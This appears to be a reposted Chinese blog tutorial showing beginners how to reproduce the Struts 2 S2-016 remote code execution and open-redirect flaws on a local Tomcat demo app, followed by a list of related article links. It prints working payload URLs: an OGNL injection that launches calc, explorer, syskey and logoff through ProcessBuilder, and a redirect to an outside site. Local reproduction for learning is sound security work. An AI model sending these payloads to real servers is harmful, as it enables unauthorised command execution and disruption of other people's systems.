Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
来源:互联网 发布:软件测试工资水平 编辑:程序博客网 时间:2024/06/08 05:39
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露。这里我们简单总结下怎样在自己机子上重现这些漏洞,这篇日志也是面向对网络安全比较感兴趣的初学者,即使你没有什么经验,也能知道这漏洞到底怎么回事:
首先我们需要下载包含漏洞的Struts 2,在这里:http://archive.apache.org/dist/struts/ 有Struts 1和Struts 2的基本上全部的发行版本。我们点击这个链接:binaries/ ,就可以找到受漏洞影响的最新版本:Struts 2.3.15(struts-2.3.15-all.zip),我们就下载这个压缩包。下载完成之后,我们就可以生成Demo项目了:
这里我们首先介绍一种最简单的方法:将上面的压缩包解压后,可以看到“%解压目录%\struts-2.3.15\apps”下有一些war包,这些都是Struts 2的一些简单示例应用,我们选择其中的struts2-blank.war,拷贝到Tomcat的webapps文件夹下,再重启Tomcat,然后就可以访问:http://localhost:8080/struts2-blank/ ,看到一个很简单的页面。我们选择“English”,就会跳转到下面这个URL:
http://localhost:8080/struts2-blank/example/HelloWorld.action?request_locale=en
利用这个URL,就可以做很多坏事了,在Struts 2的官网上已经给出了完整的PoC(proof of concept),例如:http://struts.apache.org/release/2.3.x/docs/s2-016.html
我们如果将上面这个URL换成:
http://localhost:8080/struts2-blank/example/HelloWorld.action?redirect:http://www.yahoo.com/
就会被重定向到雅虎的网站。
更过分的是,如果我将URL换成:
http://localhost:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc'})).start()}
就会自动弹出计算器!如果点击下面的URL,就会跳出Windows的资源管理器(假设我们在Windows系统中):
http://localhost:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'explorer'})).start()}
是不是很神奇?这个问题现在还在蔓延,可谓是今年互联网领域影响最大的一次安全事件了。
最后再给大家附赠两条可以远程执行的命令,这个可以调出来Windows系统加密程序,如下图所示:
http://localhost:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'syskey'})).start()}
最下面这个要谨慎使用,可以强制当前用户注销:
http://localhost:8080/struts2-blank/example/HelloWorld.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'logoff'})).start()}
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- Struts S2-016 远程任意命令执行漏洞检测代码
- Struts 2 远程代码执行漏洞加固方法
- ECShop 2.7.2 最新任意用户登陆漏洞0day
- 阿里巴巴支付宝远程代码执行漏洞-0DAY
- phpMyAdmin3.X远程代码执行漏洞0day
- Apache Solr/Lucene 0Day远程代码执行漏洞复现
- php cgi远程任意代码执行漏洞
- Struts2/XWork远程执行任意代码漏洞
- 最新IE远程代码执行漏洞分析
- Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
- Struts 2 远程代码执行漏洞(CVE-2016-0785)解决方案
- 任意代码执行漏洞
- nginx的旧版本可能执行任意代码0day
- Struts2/WebWork高危漏洞(远程执行任意代码)
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- 物理地址和逻辑地址区别(简单理解)
- ajax在tp上的使用
- [Android] 环境配置之基础开发环境(SDK/Android Studio)
- CentOS 基础
- IE bug 小整理
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- 设计模式——工厂模式
- 制作根文件系统
- 青岛易亚网店托管、整体服务外包、网店代运营
- 自定义标签<2> 有属性的标签
- 【EBS】adpatch报错:libgcc_s.so: undefined reference to `__stack_chk_fail@GLIBC_2.4'
- 基于display:table的CSS布局
- 第13周项目 oj 2 排序输出
- 《云计算架构技术与实践》连载(6)超大规模资源调度算法